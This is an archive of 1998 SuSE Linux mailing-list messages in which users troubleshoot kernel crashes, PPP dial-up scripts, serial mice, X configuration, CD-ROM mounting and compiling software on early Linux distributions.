From laszlo@idt.net Mon Jun 1 02:04:53 1998 From: laszlo@idt.net To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] General Protection error Date: Sun, 31 May 1998 22:04:53 -0400 Message-ID: In-Reply-To: <35716F5F.174140C8@mindspring.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============6164183386608488048==" --===============6164183386608488048== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit I have the system connected to an APC Smart UPS 2200. But I do have a few routers, annexes and modem banks connected to it also. I may be reaching the capacity limit of the ciruit. Laszlo On Sun, 31 May 1998, zentara wrote: > > Laszlo wrote: > > > > I'm getting a very regular General Protection error, on the following > > system ( set up to be a mail and www server runing X ). > > > After every few hours, the system gets semi locked. It responds to > > commands, but not to . > > at any screen, except login prompt gives the following. > > > > Hello everyone!!! > > I just want to remind everybody that summer is here, > with high air-conditioner loads on the power companies. > > If you are experiencing problems such as this one, the first thing to > check > is low line voltage. > > I'm not claiming that it is the source of this particular problem, > but it is the first thing to check in the summer. That is unless you > have a UPS system going. > > Look at the specifications on your power supply, and then monitor your > wall socket voltage with a digital meter, or an accurate analog model. > > zentara > > -- > To get out of this list, please send email to majordomo(a)suse.com with > this text in its body: unsubscribe suse-linux-e > -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============6164183386608488048==-- From laszlo@idt.net Mon Jun 1 02:12:01 1998 From: laszlo@idt.net To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] gcc compiling under 5.1 Date: Sun, 31 May 1998 22:12:01 -0400 Message-ID: In-Reply-To: <3571A712.9BCAE596@aracnet.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============6321573957815609600==" --===============6321573957815609600== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable You can also add . to your path statement in your shell startup script file. ( this may be .profile .tcshrc .cshrc depending on which shell you are running ) Just make sure that it is the last entry in the path list. Laszlo On Sun, 31 May 1998, denis miller wrote: >=20 > Thanks, however where and when do I type ./hello. I am feeling pretty lost= in > this right now. > The help is appreciated! >=20 > Darren Benham wrote: >=20 > > try ./hello it's possible the current working directory is NOT in your = path. > > In unix/Linux, you have to specify the current directory explicitly for i= t to > > be includeded. > > > > On 31-May-98 denis miller wrote: > > > permissions now read "rwxrwxrwx hello" > > > when I try to run "hello" > > > I get the message "hello command not found" > > > > ---------------------------------- > > http://benham.net/index.html> > > -----BEGIN GEEK CODE BLOCK----- > > Version: 3.1 > > GCS d+(-) s:+ a29 C++$ UL++>++++ P+++$ L++>++++ E? W+++$ N+(-) o? K- > > w+++$(--) O M-- V- PS-- PE++ Y++ PGP++ t+ 5 X R+ !tv b++++ DI+++ D++ > > G++>G+++ e h+ r* y+ > > ------END GEEK CODE BLOCK------ > > ---------------------------------- > > > > ------------------------------------------------------------------------ > > > > Part 1.2 Type: application/pgp-signature >=20 >=20 >=20 > -- > To get out of this list, please send email to majordomo(a)suse.com with > this text in its body: unsubscribe suse-linux-e >=20 -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============6321573957815609600==-- From laszlo@idt.net Mon Jun 1 02:30:36 1998 From: laszlo@idt.net To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] General Protection error Date: Sun, 31 May 1998 22:30:36 -0400 Message-ID: In-Reply-To: <19980531224344.J11214@Tiger.uni-koeln.de> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============1235407694453671279==" --===============1235407694453671279== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit I'll answer below. Since the system refused to stay up, I installed an older kernel verion of Debian, which seems to be stable. But I'd much rather be using the SUSE distribution. See below for the continued blow by blow commentary. Laszlo On Sun, 31 May 1998, Wolfgang Weisselberg wrote: > > Hi! > > Trying to kill the keyboard, laszlo(a)idt.net produced: > > > > I'm getting a very regular General Protection error, on the following > > system ( set up to be a mail and www server runing X ). > > I've reformated and reinstalled twice, with more limited package selection > > each time. No difference was noted. > [...] > > After every few hours, the system gets semi locked. It responds to > > commands, but not to . > > at any screen, except login prompt gives the following. > > > general protection error: 0000 > > cpu : 0 > > eip : 0010:[<00124c207>] > > Are the numbers the same every time or do they cange? > Did you compile this kernel? > > What does /var/log/messages say about the crashes? > > Did the crashes happen around the same time after switching the computer on? > Shorter on warm days or with the sun shining on your computer chassis? If > yes, it really looks like a heat problem. > The case is located directly in the path of the air conditioner. And the system crashed repeated at night. There seems to enough air circulation since I had a secondary cooling fan installed on the system. > Is your processor cooled properly? Does it's cooling fan turn without > squeaky/grinding/etc noises? Does the power supply's fans turn OK? > All fans working, actually the power supply vents are the coolest of any or the many systems running here. > Try it with an open chassis (and some extra ventilators, probably houshold > ones ... you *must* ensure a good circulation!), if that helps, it's a heat > problem. Also at the time of the crash find out how hot the CPU is (the > Cooler may probably not be attached properly). There are stripes aviable > that change colour with temperature, they often give good indications. > I will run it with an open case, Since installing the network card, prior to the OS. The case has been on. > Are you 110ure your memory chip(s) is/are OK (no, works under Win does > not count, Windows does not use the memory to the full potential)? Try with > one half of the chips if possible, or with (a) completely different one(s). > Machine never had windows on it, but the memory seems fine running the debian distributuion. It has been up for almost 20 hours now. > Read /usr/src/linux/Documentation/oops-tracing.txt on how to report this > crash. > Going off to RTM. > Reinstalling won't solve many problems under Linux and often does not pay, > and *this* is definitely not a problem with packages. It's either the kernel > or more probably a hardware problem ... > > -Wolfgang > > -- > PGP 2 welcome: Mail me, subject "send PGP-key". > If you've nothing at all to hide, you must be boring. > Unsolicited Bulk E-Mails: *You* pay for ads you never wanted. > Is our economy _so_ weak we have to tolerate SPAMMERS? I guess not. > -- > To get out of this list, please send email to majordomo(a)suse.com with > this text in its body: unsubscribe suse-linux-e > -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============1235407694453671279==-- From dana@ntd.net Mon Jun 1 03:06:35 1998 From: dana@ntd.net To: users@lists.opensuse.org Subject: [S.u.S.E. Linux] linux_logo-2.02 Date: Sun, 31 May 1998 22:06:35 -0500 Message-ID: <35721ABB.A387EE70@ntd.net> In-Reply-To: <19980531224344.J11214@Tiger.uni-koeln.de> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============8534378786745890687==" --===============8534378786745890687== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Anyone get this working with S.u.S.E. 5.1? Maybe I'm just blind tonight, but I can't find the rc.local file. Dana -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============8534378786745890687==-- From wiliweld@ix.netcom.com Mon Jun 1 03:48:16 1998 From: wiliweld@ix.netcom.com To: users@lists.opensuse.org Subject: [S.u.S.E. Linux] ppp / pap setup Date: Mon, 01 Jun 1998 03:48:16 +0000 Message-ID: <35722480.B8407C55@ix.netcom.com> In-Reply-To: <35721ABB.A387EE70@ntd.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============2487973561860213840==" --===============2487973561860213840== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Hello, I have a little time in Linux (6 months) and just completed my nite class of Intro to Unix, with that I would like to ask some questions. I have two different boxes here, one Linux RH 5.0(b) and just installed BSD 2.2.6 for the experience on my other machine. RH 5.0 provided a GUI from X, in root, called _netcfg_ that enabled me to log into my Netcom ISP which does not provide a static IP for me. It allowed entries for user name, password, primary and secondary DNS numbers, all of which Netcom asks you to use. Seeing that I log in fine, I am dying to find the location of the script it wrote to study for my learning. I also want to see if I can use the script on my other versions of Linux / Unix that I intend on trying. Any ideas. --=20 Bill Schoolcraft PO Box 210076 San Francisco CA 94121 http://www.netcom.com/~wiliweld> -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============2487973561860213840==-- From satan@nfinity.com Mon Jun 1 04:15:23 1998 From: satan@nfinity.com To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] ppp / pap setup Date: Sun, 31 May 1998 23:15:23 -0500 Message-ID: <35722ADB.A355B27@nfinity.com> In-Reply-To: <35722480.B8407C55@ix.netcom.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============1272684758500968160==" --===============1272684758500968160== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Redhat's netcfg is a painless way to set up ppp for the new redhat user. Unfortunately using it teaches you nothing about how to set up ppp.=20 There just isn't any substitute:=20 ftp://sunsite.unc.edu= /pub/Linux/docs/HOWTO/PPP-HOWTO> Bill Schoolcraft wrote: >=20 > Hello, > I have a little time in Linux (6 months) and just completed > my nite class of Intro to Unix, with that I would like to ask > some questions. I have two different boxes here, one Linux RH > 5.0(b) and just installed BSD 2.2.6 for the experience on my > other machine. RH 5.0 provided a GUI from X, in root, called > _netcfg_ that enabled me to log into my Netcom ISP which does > not provide a static IP for me. It allowed entries for user > name, password, primary and secondary DNS numbers, all of > which Netcom asks you to use. Seeing that I log in fine, I am > dying to find the location of the script it wrote to study for > my learning. I also want to see if I can use the script on my > other versions of Linux / Unix that I intend on trying. Any > ideas. > -- > Bill Schoolcraft > PO Box 210076 > San Francisco CA 94121 > http://www.netcom.com/~wiliweld> > -- > To get out of this list, please send email to majordomo(a)suse.com with > this text in its body: unsubscribe suse-linux-e -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============1272684758500968160==-- From arunkhan@xnet.com Mon Jun 1 05:35:23 1998 From: arunkhan@xnet.com To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] Clueless Newbie Date: Mon, 01 Jun 1998 00:35:23 -0500 Message-ID: <3.0.5.32.19980601003523.007e35c0@quake.xnet.com> In-Reply-To: <[S.u.S.E. Linux] Clueless Newbie> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============1610607820368320335==" --===============1610607820368320335== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable At 09:45 PM 98-05-30 -0500, you wrote: > > >Well, I finally am up with Linux .. I put in a 2nd 4.3 gig IDE drive in my >Pentium 100. SuSE found the CD-ROM and booted. Thanks for the advice. > >Linux can't find my mouse .. a Logitech M-M35 .. this is a new type serial >mouse .. a small OEM mouse. When I use YaST and goto Configure SFree86 the >system stays on "applying ......." forever. Fortunately Linux uncleaned the >drives after I "reset" my PC. =20 Does the mouse connect to one of the serial ports (COM1/2)? If so, h= ave you tried building a new kernel with serial mouse support? [ OR is it possible that you have a USB mouse? I am not sure about USB support in Linux ] >Also I can't find a way to address my CD-ROM drive once I'm in Linux. What >commands do I use? =20 SCSI cdrom devices are adressed as /dev/scd0, ATAPI/IDE cdroms e.g. m= aster on 2nd IDE controller would be /dev/hdc. Proprietary drives have their own devices e.g. Mitsumi (non-atapi) /dev/mcd. =20 >Just one other thing .. I wish IBM's AIX was this nice to work with. The >history command with Linux is nice. compile the source for bash or pdksh in AIX, you will then have comma= nd history capability in AIX as well. HTH Arun Khan -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============1610607820368320335==-- From arunkhan@xnet.com Mon Jun 1 05:46:05 1998 From: arunkhan@xnet.com To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] notebook opinion Date: Mon, 01 Jun 1998 00:46:05 -0500 Message-ID: <3.0.5.32.19980601004605.007ca320@quake.xnet.com> In-Reply-To: <[S.u.S.E. Linux] notebook opinion> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============7992304807969529670==" --===============7992304807969529670== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit At 09:25 AM 98-05-31 PDT, you wrote: > >hello >i am in the market for a notebook. i want to buy one that will work >well with suse, and vice versa. i really dont want to go out of the >$2,000 price range. any ideas or opinions would greatly be appreciated. >thank you >joe >auximini(a)hotmail.com If you want to use X make sure that video chip set is supported by X86Free. As for PCMCIA network cards, I suggest buy a ne2k compatible card Linksys or D-Link. I have a GW2K 2300 solo with the Neomagic chip not supported :( Otherwise, SuSE5.2 works great on my laptop. HTH Arun Khan -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============7992304807969529670==-- From hekate@intergate.bc.ca Mon Jun 1 06:23:54 1998 From: hekate@intergate.bc.ca To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] linux_logo-2.02 Date: Sun, 31 May 1998 23:23:54 -0700 Message-ID: <006501bd8d25$db8d0340$88b422cf@Mjohnson.intergate.bc.ca> In-Reply-To: <[S.u.S.E. Linux] linux_logo-2.02> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============6968014354197868268==" --===============6968014354197868268== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit go to sbin/init.d (??) ....boot.local....edit that file so that you have this line ....'usr/local/bin > /etc/issue... and it will display the logo at the prompt... SuSE doesn't use the same rc.local that RH does or the same ones as Slak....but if you do this it'll work -----Original Message----- From: Dana J. Laude To: suse-linux-e(a)suse.com Date: Sunday, May 31, 1998 8:09 PM Subject: [S.u.S.E. Linux] linux_logo-2.02 > >Anyone get this working with S.u.S.E. 5.1? Maybe I'm just blind >tonight, but I can't find the rc.local file. > >Dana > >-- >To get out of this list, please send email to majordomo(a)suse.com with >this text in its body: unsubscribe suse-linux-e > -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============6968014354197868268==-- From hekate@intergate.bc.ca Mon Jun 1 06:37:12 1998 From: hekate@intergate.bc.ca To: users@lists.opensuse.org Subject: Re: [S.u.S.E. Linux] linux_logo-2.02 Date: Sun, 31 May 1998 23:37:12 -0700 Message-ID: <014d01bd8d27$bf42a9e0$88b422cf@Mjohnson.intergate.bc.ca> In-Reply-To: <[S.u.S.E. Linux] linux_logo-2.02> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============8751535372664818596==" --===============8751535372664818596== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit sorry about that ....of course it shoud say in your boot.local 'usr/local/bin/linux-logo > /etc/issue' -----Original Message----- From: MJohnson To: suse-linux-e(a)suse.com Date: Sunday, May 31, 1998 11:26 PM Subject: Re: [S.u.S.E. Linux] linux_logo-2.02 > >go to sbin/init.d (??) ....boot.local....edit that file so that >you have this line ....'usr/local/bin > /etc/issue... and it will display >the logo at the prompt... SuSE doesn't use the same rc.local that RH does or >the same ones as Slak....but if you do this it'll work >-----Original Message----- >From: Dana J. Laude >To: suse-linux-e(a)suse.com >Date: Sunday, May 31, 1998 8:09 PM >Subject: [S.u.S.E. Linux] linux_logo-2.02 > > >> >>Anyone get this working with S.u.S.E. 5.1? Maybe I'm just blind >>tonight, but I can't find the rc.local file. >> >>Dana >> >>-- >>To get out of this list, please send email to majordomo(a)suse.com with >>this text in its body: unsubscribe suse-linux-e >> > >-- >To get out of this list, please send email to majordomo(a)suse.com with >this text in its body: unsubscribe suse-linux-e > -- To get out of this list, please send email to majordomo(a)suse.com with this text in its body: unsubscribe suse-linux-e --===============8751535372664818596==-- From deem@wdm.com Mon Jun 1 08:13:50 1998 From: deem@wdm.com To: users@lists.opensuse.org Subject: [S.u.S.E. Linux] Please-The Needed Fix to Compile PGP ? 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From weissel@jupiter.ph-cip.uni-koeln.de Mon Jun  1 14:23:39 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Product Gossip of the Day [WINDOWS GOES
Date: Mon, 01 Jun 1998 16:23:39 +0200
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Hi!

Trying to kill the keyboard, jonathan(a)aracnet.net produced:
> On 29-May-98 Wolfgang Weisselberg wrote:

> >> bundle?  *Then* they can boast about integration.  They can add on to the
> >> open
> >> source kernel, keep their addons proprietary (as long as that will last)=
 and
> >> people will love Linux because, "Hey, it's Microsoft"

> Ah perhaps I was unclear/partially wrong.  I meant _keep_ the open source
> kernel as-is and build tools and apps around it.

They have to keep the open source kernel, yes, but tools and apps I'd
hardly call 'addons'. Proprietary tools and apps are possible, even
wanted. If MS wanted to compete, by all means, they should go ahead.

But there would be a stiff wind blowing in their faces --- they could
not pull tricks like using undocumented API calls to make their code
seem better compared to concurence and there are already lots and lots
of good stuff around --- open sourced.

> Yet exc{HANG}e is selling.  Better, faster, more stable doesn't necessarily
> sell.

Sexchange is selling, but only due to management ... and even they can
get fed up some day with it. I mean, there were the days of 'You can't
get fired buying IBM', now the days of '... buying MS' seem to wane
slowly but surely.

> I look at something like Netscape, they sold it (for a while) and it was
> completely proprietary.  And [at least on the WingDings platform] it wasn't
> half as stable as M$IE.

Well, Netscape is not what I'd call stable. I've seen lots of crashes
(ok, with lots of users), and on WinXX platforms IE had the plus of
undocumented API tricks.

I do know why I prefer lynx.

> I think Microsoft is going to do all of this without being a distributor
> anyways.  NetShow is just the start...

Let them, they'll either produce quality software or else. They can't
take over Linux, and thinks like XFree86tm and lesstif show what often
happens.=20

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Mon Jun  1 14:41:01 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Clueless Newbie
Date: Mon, 01 Jun 1998 16:41:01 +0200
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Hi!

Trying to kill the keyboard, mappleby(a)mwci.net produced:
> Linux can't find my mouse .. a Logitech M-M35 .. this is a new type serial
> mouse .. a small OEM mouse.  When I use YaST and goto Configure SFree86 the
> system stays on "applying ......." forever.  Fortunately Linux uncleaned the
> drives after I "reset" my PC.

man XF86Config says:
     The Logitech protocol is for old serial mouse models from
     Logitech.  Many newer Logitech serial mice use either the
     Microsoft or MouseMan protocol.

... like the Logitech M/N:M-M30 that's next to me, it runs on the
Microsoft protocoll. Also do try the baud rates, but 1200 should work
A-OK. Oh, you can try xf86config, which is text-only based (and
certainly not as good-looking) but it won't give trouble with hanging
mice.

> Just one other thing .. I wish IBM's AIX was this nice to work with. The
> history command with Linux is nice.

That is not linux, that is the bash (one of the command line
interpreters, standard on SuSE). It should work on AIX as well.

-Wolfgang


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From djb@redhat.com Mon Jun  1 16:04:46 1998
From: djb@redhat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp / pap setup
Date: Mon, 01 Jun 1998 12:04:46 -0400
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> 	I have a little time in Linux (6 months) and just completed
> my nite class of Intro to Unix, with that I would like to ask
> some questions. I have two different boxes here, one Linux RH
> 5.0(b) and just installed BSD 2.2.6 for the experience on my
> other machine. RH 5.0 provided a GUI from X, in root, called
> _netcfg_ that enabled me to log into my Netcom ISP which does
> not provide a static IP for me. It allowed entries for user
> name, password, primary and secondary DNS numbers, all of
> which Netcom asks you to use. Seeing that I log in fine, I am
> dying to find the location of the script it wrote to study for
> my learning. I also want to see if I can use the script on my
> other versions of Linux / Unix that I intend on trying. Any
> ideas.

Those scripts are in /etc/sysconfig/network-scripts.  You care
about everything with "ppp" in the name and 'ifup' and 'ifdown'.

--Donnie


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From gecko@freecar.com Mon Jun  1 16:33:26 1998
From: gecko@freecar.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Please-The Needed Fix to Compile PGP ?
Date: Mon, 01 Jun 1998 09:33:26 -0700
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Add           ASMDEF=3D-DSYSV       to the makefile in src

That's the quick fix that converts PGP262 from a.out to elf.

On 01-Jun-98 W.D.McKinney wrote:
>=20
> Due to a system failure I need the fix to compile pgp 262 under Linux.
> Would someone be so kind to send the needed info ?

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From hlarons@ComCAT.COM Mon Jun  1 16:48:01 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] (Fwd) Re: Chat & pppd in 5.2
Date: Mon, 01 Jun 1998 16:48:01 +0000
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At Wolfgang Weisselberg's suggestion, I am forwarding this to the 
list. I have added some new information re the solution of my 
problem that can be shared. This info is inserted into the text 
between >>>>>>    <<<<<< marks.

------- Forwarded Message Follows -------

Date:          Sun, 31 May 1998 22:59:31 +0200
From:          Wolfgang Weisselberg 
To:            hlarons(a)ComCAT.COM
Subject:       Re: [S.u.S.E. Linux] Chat & pppd in 5.2

>> Wolfgang,
>> 
>>Sincere thanks for your kind reply. You are
>>exactly right--that's what I wanted. I forgot about ip-up,
>>although it was in my old installation.

>>>>>>>>>>>>> I am referring to my desire to see the chat script 
play out, or to see some evidence on the console that a PPP 
connection has been established.
<<<<<<<<<<<<<<

>> Now, a new problem. My /etc/ppp/ip-up script won't run :-(
>> 
>> OK, I'm a Linux newbie, but I created the script as
>> /etc/ppp/ip-up. I assigned the same ownership and permissions 
>>as pppd. 

>The script is readable and executable? It must be readable ...

>My pppd:
-rwsr-xr-- 1 root dialout  83952 Mar  4  20:33 /usr/sbin/pppd*   
>  ^ Did you set the s as well? That won't work for a script, that 
>is a security problem you could drive a truck through ... so 
>Linux ignores it. 

>Also, it is enough if ip-up is
>-r-x------   1 root     root     . . . . . . . . . . . ip-up
>because the s (set-UID)-bit of pppd will make pppd run as root, 
>no matter who called it. So ip-up must be executable by root. It 
>is OK if it is writable by root ...

>>>>>>>>>> I checked the permissions, and they are just what they 
should be.  <<<<<<<<<<<<<

>And there may be another problem:
>As it was told me on the list, pppd Version 2.3.3 does no longer
>start ip-up properly if dial-on-demand. This is a bug, maybe 
>it's fixed by Version 2.3.5 ...

>To find out which version it is, use rpm -q ppp.

>>>>>>>>> I am running pppd 2.2.0, so there should be no problem. 
Also, I'm not using diald (dial-on-demand).  <<<<<<<<<<<<<

>> I used the script to exec another script to run ifconfig,
>> because the pppd man page says that the ip-up script has all
>> output directed to /dev/null. 

>Why? You want the IP-address?
>This is given to the script, and you can still use 
>echo "MY IP is $IP" >> /var/log/ppp
>or echo "MY IP is $IP" | mail -s "IP" username

>>>>>>>>>>>>>>>>>  Well, I'm embarrassed to say that on further 
checking, I found that ip-up WAS running, it just wasn't sending 
any info to the terminal. So, my "quick fix" was to put these two 
lines into ip-up:

TTYVAR=`tty`
exec /usr/sbin/ifconfig ppp0 > $TTYVAR

Problem solved! Now when I invoke the dialer and a connection is 
established, the ppp0 status from ifconfig appears immediately on 
my console.
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>> I send this as a private e-mail because I don't think it adds 
>> anything to the SuSE list.

>Well, you'd have gotten more answers and maybe even more ideas. 
>It belongs on the list, IMHO.

>You may forward this mail to the list, as well.

>-Wolfgang

Howard Arons
Howard A
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From kyle@binary.net Mon Jun  1 19:28:12 1998
From: kyle@binary.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Clueless Newbie
Date: Mon, 01 Jun 1998 14:28:12 -0500
Message-ID: <3.0.5.32.19980601142812.00924370@pop.binary.net>
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At 12:35 AM 6/1/98 -0500, you wrote:
>
>At 09:45 PM 98-05-30 -0500, you wrote:
>>
>>Also I can't find a way to address my CD-ROM drive once I'm in Linux.  What
>>commands do I use?
>	
>	SCSI cdrom devices are adressed as /dev/scd0, ATAPI/IDE cdroms e.g. master
>on 2nd IDE controller would be /dev/hdc.  Proprietary drives have their own
>devices e.g. Mitsumi (non-atapi) /dev/mcd.  

You may just need to mount the cd-rom.  I think that Suse will link your
cd-rom to /dev/cdrom.  So all you need to do is: 

mount -t iso9660 /dev/cdrom /cdrom

Make sure that you have /cdrom in the root directory.  You will probably
need to
be root to mount the device.  When you are finished with the CD:

umount /cdrom

Hope this helps

kyle


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From hekate@intergate.bc.ca Mon Jun  1 19:48:41 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] WindowMaker
Date: Mon, 01 Jun 1998 12:48:41 -0700
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I like the last version of WM so much I wasn't sure if I should even change
to the upgrade. How do you like it??
-----Original Message-----
From: Michael Lankton 
To: suse-linux-e(a)suse.com 
Date: Friday, May 29, 1998 11:05 AM
Subject: [S.u.S.E. Linux] WindowMaker

>
>For you WindowMaker users out there in SuSE land, WindowMaker 0.15.0 was
>released this morning and looks to be the last release for awhile as Dan
>Pascu (the current lead maintainer while Alfredo is on vacation) is
>leaving the project. Find it at
>ftp://ftp.windowmaker.org/pub/beta/srcs=
>.
>--
>                  _____
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>             .'WWWWWWWWWWWW.__
>            /WWWWWWW|       \W|             The choice of
>           ;WWWWWWWW|        ;|                   a GNU generation.
>           |WWWWWWWW|        ||
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From lsayre@integrityonline13.com Mon Jun  1 21:23:19 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp-up generic (error)
Date: Mon, 01 Jun 1998 16:23:19 -0500
Message-ID: <35731BC6.5EF5013C@integrityonline13.com>
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W.D.McKinney wrote:
> 
> Lawrence Sayre  wrote:
> >
> > When I try to invoke 'ppp-up generic' I get the error "Bad local IP
> > address 127.0.0.1", and then nothing.
> >
> > Is there a cure for this?
> >
> > Lawrence Sayre 
> >
> 
> Is /etc/resolve.conf and /etc/hosts defined for your system ?
> 
> I use X-ISP and it works fine as long as I have the info correct.
> 
> -Dee
> 
> W.D.McKinney (Dee) -=- deem(a)wdm.com
> No claim to fame, just saved by Grace.
> --

My /etc/hosts file says: 

127.0.0.1  localhost

My /etc/resolv.conf says:

domain www.integrityonline13.com
nameserver YAST_ASK
nameserver 192.52.71.5  #kppp temp entry
nameserver 199.94.215.244   #kppp temp entry 

How do I access X-ISP?
 
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Lawrence Sayre 
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From wiliweld@ix.netcom.com Tue Jun  2 00:04:17 1998
From: wiliweld@ix.netcom.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp / pap setup
Date: Tue, 02 Jun 1998 00:04:17 +0000
Message-ID: <35734181.7EED7E88@ix.netcom.com>
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Thanks Donnie,
        I went looking in /etc/ppp/ and found only ip-up and ip-dowm
but did find my passwords in pap-secrets, amazing. Thanks for
the email. I kinda cringed when I saw the redhat.com on your
email for I received one negative email reply as to post
redhat on redhat etc, but after a reply stating I was just
reaching out and might try SuSE, all went well.

--=20
Bill Schoolcraft
PO Box 210076
San Francisco CA 94121
http://www.netcom.com/~wiliweld>
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From arunkhan@xnet.com Tue Jun  2 04:21:40 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: Fwd: [S.u.S.E. Linux] aic7890
Date: Mon, 01 Jun 1998 23:21:40 -0500
Message-ID: <3.0.5.32.19980601232140.007d7ad0@quake.xnet.com>
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At 11:42 PM 6/2/98 +0200, you wrote:
>
>Can it really be true that noone knows about an Adaptec 7890?
>
>Original message:
>I got a question from a person who's interested in buying 5.2 about
>aic7890. Is it supported?
>
>I can't see it, even in /usr/src/linx/drivers/scsi/README.aix7xxx
>there's no mention. Only 788x and 7895. How come?
>

7890 is the Adaptec chip used in the 2940 series of SCSI adapters as well
embedded controllers in some main boards.  I believe the aic78xx would work
with the 7890 chip.  I also suggest, (if you have not done so) search in
dejanews.com and if you can't find an answer post in
comp.os.linux.hardware and comp.os.linux.setup newsgroups.

HTH
Arun Khan

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From eramunds@online.no Tue Jun  2 06:54:36 1998
From: eramunds@online.no
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] com1 microsoft mouse
Date: Tue, 02 Jun 1998 08:54:36 +0200
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Hi


Please help a beginner at linux.


 


I installed the suse linux and i can get 
xf86setup running thru yast, but my mouse does not work att all.


after a while the box locks up and i have to 
"cntr - alt - del" to get it running again.


 


In win95 my mouse is placed under com1, irc 4 
and it's a serial microsoft mouse 2 button.


Anyone have a clue?


 


Thank you


 


Jan Erik Amundsen



 


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From Marius.Augenstein@alcatel.de Tue Jun  2 09:05:22 1998
From: Marius.Augenstein@alcatel.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Deny telnetconnections for defined hosts
Date: Tue, 02 Jun 1998 11:05:22 +0200
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Hello 

Is there a possibility to deny telnetconnections for a list of hosts ?
And if so could this be done with ftp too ??


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From charles@parc.demon.co.uk Tue Jun  2 09:19:04 1998
From: charles@parc.demon.co.uk
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] No mouse and no keyboard after Xwindows start
Date: Tue, 02 Jun 1998 09:19:04 +0000
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Hi,

I have installed SuSe and Xwindows starts, but the first touch of the
keyboard locks the computer - no control,alt,delete.

Also the mouse is not working. It's a Microsoft serial mouse.

If anyone knows the answer to these problems, then your help would be much
appreciated.

Regards, Charles

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From hlarons@ComCAT.COM Tue Jun  2 13:13:59 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No mouse and no keyboard after Xwindows sta
Date: Tue, 02 Jun 1998 13:13:59 +0000
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> From:          Charles 
> To:            suse-linux-e(a)suse.com
> Subject:       [S.u.S.E. Linux] No mouse and no keyboard after Xwindows sta=
rt
> Date:          Tue, 02 Jun 1998 09:19:04 GMT
> Reply-to:      suse-linux-e(a)suse.com

>=20
> Hi,
>=20
> I have installed SuSe and Xwindows starts, but the first touch
> of the keyboard locks the computer - no control,alt,delete.
>=20
> Also the mouse is not working. It's a Microsoft serial mouse.
>=20
> If anyone knows the answer to these problems, then your help
> would be much appreciated.
>=20
> Regards, Charles
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Charles,

What "keyboard" did you choose in XF86Config? Try 101 key US;=20
at least I know that one works :-)

Is there a /dev/mouse in XF86Config? Is it actually a symlink to=20
the /dev/ttyS serial port that the mouse is on?

HTH,

Howard Arons
Howard A
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From arunkhan@xnet.com Tue Jun  2 15:01:08 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 3Com Ethernet Card Problem
Date: Tue, 02 Jun 1998 10:01:08 -0500
Message-ID: <3.0.5.32.19980602100108.007c9610@quake.xnet.com>
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At 05:11 AM 6/3/98 EDT, you wrote:
>
>
>My setup is V5.2, and everything has installed OK, except the 3Com 3C509 
>card. The system has failed to pick it up. I recently spotted the
>suggestion of performing a direct scan using modprobe:
>
